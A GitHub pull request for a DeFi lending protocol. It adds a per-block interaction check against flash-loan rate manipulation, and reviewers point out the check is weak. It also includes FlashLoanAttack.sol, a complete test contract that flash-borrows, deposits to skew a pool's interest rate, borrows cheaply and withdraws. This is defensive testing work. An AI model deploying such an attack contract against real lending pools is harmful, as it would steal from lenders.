Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Not in the same block #255

Open
wants to merge 11 commits into
base: development
Choose a base branch
from
5 changes: 5 additions & 0 deletions contracts/connectors/loantoken/LoanTokenBase.sol
Original file line number Diff line number Diff line change
Expand Up @@ -74,4 +74,9 @@ contract LoanTokenBase is ReentrancyGuard, Ownable, Pausable {
/// The maximum trading/borrowing/lending limit per token address.
/// 0 -> no limit
mapping(address => uint256) public transactionLimit;

/// @notice A mapping of accounts stores those who
/// lend/withdraw on current block.
/// block => account => true/false
mapping(uint256 => mapping(address => bool)) internal hasInteracted;

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If I understand correctly, you can simplify it to mapping(address => uint256) internal lastInteraction; // account => block
and the check should be lastInteraction[addr] < block.number
it will save some gas, mostly due to storage reuse

}
47 changes: 42 additions & 5 deletions contracts/connectors/loantoken/LoanTokenLogicStandard.sol
Original file line number Diff line number Diff line change
Expand Up @@ -67,6 +67,8 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
/**
* @notice Mint loan token wrapper.
* Adds a check before calling low level _mintToken function.
* This function is called by a user to provide liquidity to a loan pool.
* To get back the provided underlying tokens, the user calls burn function.
* The function retrieves the tokens from the message sender, so make sure
* to first approve the loan token contract to access your funds. This is
* done by calling approve(address spender, uint amount) on the ERC20
Expand All @@ -75,21 +77,26 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
*
* @param receiver The account getting the minted tokens.
* @param depositAmount The amount of underlying tokens provided on the
* loan. (Not the number of loan tokens to mint).
* deposit. (Not the number of loan tokens to mint).
*
* @return The amount of loan tokens minted.
* */
function mint(address receiver, uint256 depositAmount) external nonReentrant hasEarlyAccessToken returns (uint256 mintAmount) {
/// Temporary: limit transaction size
/// @dev To avoid flash loan attacks.
_checkNotInTheSameBlock();

/// @dev Temporary: limit transaction size
if (transactionLimit[loanTokenAddress] > 0) require(depositAmount <= transactionLimit[loanTokenAddress]);

return _mintToken(receiver, depositAmount);
}

/**
* @notice Burn loan token wrapper.
* This function is called by a loan pool liquidity provider requests
* its underlying tokens back.
* Adds a pay-out transfer after calling low level _burnToken function.
* In order to withdraw funds to the pool, call burn on the respective
* In order to withdraw funds from the pool, call burn on the respective
* loan token contract. This will burn your loan tokens and send you the
* underlying token in exchange.
*
Expand All @@ -99,6 +106,9 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
* @return The amount of underlying tokens payed to lender.
* */
function burn(address receiver, uint256 burnAmount) external nonReentrant returns (uint256 loanAmountPaid) {
/// @dev To avoid flash loan attacks.
_checkNotInTheSameBlock();

loanAmountPaid = _burnToken(burnAmount);

if (loanAmountPaid != 0) {
Expand Down Expand Up @@ -333,6 +343,7 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
/// @dev Compute the worth of the total deposit in loan tokens.
/// (loanTokenSent + convert(collateralTokenSent))
/// No actual swap happening here.

uint256 totalDeposit = _totalDeposit(collateralTokenAddress, collateralTokenSent, loanTokenSent);
require(totalDeposit != 0, "12");

Expand All @@ -351,7 +362,6 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
sentAmounts[4] = collateralTokenSent;

_settleInterest();

(sentAmounts[1], sentAmounts[0]) = _getMarginBorrowAmountAndRate( /// borrowAmount, interestRate
leverageAmount,
sentAmounts[1] /// depositAmount
Expand Down Expand Up @@ -869,6 +879,7 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
* @dev Internal sync required on every loan trade before starting.
* */
function _settleInterest() internal {
/// @dev To avoid flash loan attacks.
uint88 ts = uint88(block.timestamp);
if (lastSettleTime_ != ts) {
ProtocolLike(sovrynContractAddress).withdrawAccruedInterest(loanTokenAddress);
Expand Down Expand Up @@ -909,7 +920,7 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {

/// @dev Probably not the same due to the price difference.
if (collateralTokenAmount != collateralTokenSent) {
//scale the loan token amount accordingly, so we'll get the expected position size in the end
/// @dev Scale the loan token amount accordingly, so we'll get the expected position size in the end.
loanTokenAmount = loanTokenAmount.mul(collateralTokenAmount).div(collateralTokenSent);
}

Expand Down Expand Up @@ -981,7 +992,12 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
uint256[5] memory sentAmounts,
bytes memory loanDataBytes
) internal returns (uint256, uint256) {
/// @dev To avoid running when paused.
_checkPause();

/// @dev To avoid flash loan attacks.
_checkNotInTheSameBlock();

require(
sentAmounts[1] <= _underlyingBalance() && /// newPrincipal (borrowed amount + fees)
sentAddresses[1] != address(0), /// The borrower.
Expand Down Expand Up @@ -1382,6 +1398,27 @@ contract LoanTokenLogicStandard is LoanTokenSettingsLowerAdmin {
require(!isPaused, "unauthorized");
}

/**
* @notice Make sure caller did not perform any previous operation in the
* current block.
*
* @dev To protect from the lending fees manipulation using flash loan we
* need to prevent lending and withdrawing from the pools in the same
* tx/block by the same account.
* */
function _checkNotInTheSameBlock() internal {
uint256 _currentBlock;

/// @dev Get and buffer current block.
_currentBlock = block.number;

/// @dev Check there are no previous txs in this block coming from same account.
require(!hasInteracted[_currentBlock][msg.sender], "Avoiding flash loan attack: several txs in same block from same account.");

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

checking against msg.sender doesn't protect against FL, only complicates the setup:
the attacker would need to add extra contracts A1, A2, ... for each individual interaction within their transaction

formally, you can achieve FL protection via tx.origin check, however it is discouraged.


/// @dev Update previous activity mapping.
hasInteracted[_currentBlock][msg.sender] = true;
}

/**
* @notice Adjusts the loan size to make sure the expected exposure remains after prepaying the interest.
* @dev loanSizeWithInterest = loanSizeBeforeInterest * 100 / (100 - interestForDuration)
Expand Down
240 changes: 240 additions & 0 deletions contracts/testhelpers/FlashLoanAttack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,240 @@
pragma solidity ^0.5.17;
pragma experimental ABIEncoderV2;
// "SPDX-License-Identifier: Apache-2.0"

import "../interfaces/IERC20.sol";
import "../openzeppelin/Ownable.sol";
import "./ITokenFlashLoanTest.sol";

/**
* @title The interface of the lending pool iToken to attack.
* @notice Only burn, mint and borrow functions are required.
* */
interface IToken {
function burn(address receiver, uint256 burnAmount) external returns (uint256 loanAmountPaid);

function mint(address receiver, uint256 depositAmount) external returns (uint256 mintAmount);

function borrow(
bytes32 loanId, /// 0 if new loan.
uint256 withdrawAmount,
uint256 initialLoanDuration, /// Duration in seconds.
uint256 collateralTokenSent, /// If 0, loanId must be provided; any rBTC sent must equal this value.
address collateralTokenAddress, /// If address(0), this means rBTC and rBTC must be sent with the call or loanId must be provided.
address borrower,
address receiver,
bytes calldata /// loanDataBytes: arbitrary order data (for future use).
)
external
payable
returns (
uint256,
uint256 /// Returns new principal and new collateral added to loan.
);
}

/**
* @title Flash Loan Attack.
* @notice This contract performs a flash loan (FL) call to achieve a double goal:
* 1.- Get a big amount of underlying tokens (hackDepositAmount)
* during just one transaction. (FL)
* 2.- Use that big amount to manipulate the loan rate of another loan pool, and
* then get a borrow principal w/ an extremely low interest.
* */
contract FlashLoanAttack is Ownable {
/* Storage */
address iTokenToHack; /// The address of the lending pool iToken to hack.
address collateralToken; /// The address of the collateral token.
uint256 withdrawAmount; /// The borrowing principal.
uint256 collateralTokenSent; /// The borrowing collateral.

/* Events */
event ExecuteOperation(address loanToken, address iToken, uint256 loanAmount);

event BalanceOf(uint256 balance);

/* Functions */

/**
* @notice Set the parameters of the loan pool attack.
* @param _iTokenToHack The address of the lending pool iToken to hack.
* @param _collateralToken The address of the collateral token.
* @param _withdrawAmount The borrowing principal.
* @param _collateralTokenSent The borrowing collateral.
* */
function hackSettings(
address _iTokenToHack,
address _collateralToken,
uint256 _withdrawAmount,
uint256 _collateralTokenSent
) external onlyOwner {
iTokenToHack = _iTokenToHack;
collateralToken = _collateralToken;
withdrawAmount = _withdrawAmount;
collateralTokenSent = _collateralTokenSent;
}

/**
* @notice Internal launch of the FL attack.
* @param underlyingToken The address of the underlying token.
* @param iToken The address of the third party FL token pool.
* @param hackDepositAmount The big amount of underlying tokens provided by the FL.
* @return Success or failure in binary format.
* */
function initiateFlashLoanAttack(
address underlyingToken,
address iToken,
uint256 hackDepositAmount
) internal returns (bytes memory success) {
ITokenFlashLoanTest iTokenContract = ITokenFlashLoanTest(iToken);
return
iTokenContract.flashBorrow(
hackDepositAmount,
address(this),
address(this),
"",
abi.encodeWithSignature("executeOperation(address,address,uint256)", underlyingToken, iToken, hackDepositAmount)
);
}

/**
* @notice Send back the underlying tokens used in the hack to the FL provider.
* @dev On v1 flash loans the flash loaned amount needed to be pushed back
* to the FL lending pool contract. This function is doing so.
* @param underlyingToken The address of the underlying token.
* @param iToken The address of the third party FL token pool.
* @param hackDepositAmount The big amount of underlying tokens provided by the FL.
* */
function repayFlashLoan(
address underlyingToken,
address iToken,
uint256 hackDepositAmount
) internal {
IERC20(underlyingToken).transfer(iToken, hackDepositAmount);
}

/**
* @notice This is the callback function passed to the FL contract.
* @dev FL contract will call this function after providing the sender,
* (i.e. this contract) with the funds to perform the attack.
* @param underlyingToken The address of the underlying token.
* @param iToken The address of the third party FL token pool.
* @param hackDepositAmount The big amount of underlying tokens provided by the FL.
* @return Success or failure in binary format.
* */
function executeOperation(
address underlyingToken,
address iToken,
uint256 hackDepositAmount
) external returns (bytes memory success) {
/// @dev Event log to register the big amount of tokens have been received.
emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this)));

/// @dev Event log to register the callback function has been called.
emit ExecuteOperation(underlyingToken, iToken, hackDepositAmount);

/// @dev The following code executes the hack using the funds provided by FL.
hackTheLoanPool(underlyingToken, hackDepositAmount);

/// @dev Payback the FL.
repayFlashLoan(underlyingToken, iToken, hackDepositAmount);

/// @dev Success.
return bytes("1");
}

/**
* @notice External wrapper to initiateFlashLoanAttack.
* @dev Register the underlying token balance before and after the FL.
* @param underlyingToken The address of the underlying token.
* @param iToken The address of the third party FL token pool.
* @param hackDepositAmount The big amount of underlying tokens provided by the FL.
* */
function doStuffWithFlashLoan(
address underlyingToken,
address iToken,
uint256 hackDepositAmount
) external onlyOwner {
bytes memory result;

/// @dev Event log to register the amount of underlying tokens before FL.
emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this)));

result = initiateFlashLoanAttack(underlyingToken, iToken, hackDepositAmount);

/// @dev Event log to register the amount of underlying tokens after FL.
emit BalanceOf(IERC20(underlyingToken).balanceOf(address(this)));

/// @dev After loan checks and what not.
if (hashCompareWithLengthCheck(bytes("1"), result)) {
revert("FlashLoanAttack::failed executeOperation");
}
}

/**
* @notice Check two payloads are equal.
* @dev It compares their length and their hashes.
* @param a First payload to compare.
* @param b Second payload to compare.
* */
function hashCompareWithLengthCheck(bytes memory a, bytes memory b) internal pure returns (bool) {
if (a.length != b.length) {
return false;
} else {
return keccak256(a) == keccak256(b);
}
}

/**
* @notice Deposit underlying tokens on loan pool to manipulate its
* interest rate and borrow a principal w/ the unfair rate and get
* back the underlying tokens, all of it in just one transaction.
* @param underlyingToken The address of the underlying token.
* @param hackDepositAmount The big amount of underlying tokens provided by the FL.
* */
function hackTheLoanPool(address underlyingToken, uint256 hackDepositAmount) public {
IToken iTokenToHackContract = IToken(iTokenToHack);

/// @dev Allow the lending pool iTokenToHack to get a deposit
/// from this contract as a lender.
IERC20(underlyingToken).approve(iTokenToHack, hackDepositAmount);

/// @dev Check this contract has the underlying tokens to deposit.
require(
IERC20(underlyingToken).balanceOf(address(this)) >= hackDepositAmount,
"FlashLoanAttack contract has not the required balance: hackDepositAmount."
);

/// @dev Check this contract has the allowance to move the tokens
/// to the lending pool.
require(
IERC20(underlyingToken).allowance(address(this), iTokenToHack) >= hackDepositAmount,
"FlashLoanAttack contract is not allowed to move hackDepositAmount."
);

/// @dev Make a deposit as a lender, in order to manipulate the
/// interest rate of the lending pool.
iTokenToHackContract.mint(address(this), hackDepositAmount);

/// @dev Check this contract has the collateral tokens to deposit.
require(
IERC20(collateralToken).balanceOf(address(this)) >= collateralTokenSent,
"FlashLoanAttack contract has not the required balance: collateralTokenSent."
);

/// @dev Borrow liquidity from the pool w/ an unfair rate.
iTokenToHackContract.borrow(
"0x0", /// loanId, 0 if new loan.
withdrawAmount,
86400, /// initialLoanDuration
collateralTokenSent,
collateralToken, /// collateralTokenAddress
address(this), /// borrower
address(this), /// receiver
"0x0"
);

/// @dev Get back the amount deposited in the first place.
iTokenToHackContract.burn(address(this), hackDepositAmount);
}
}
Loading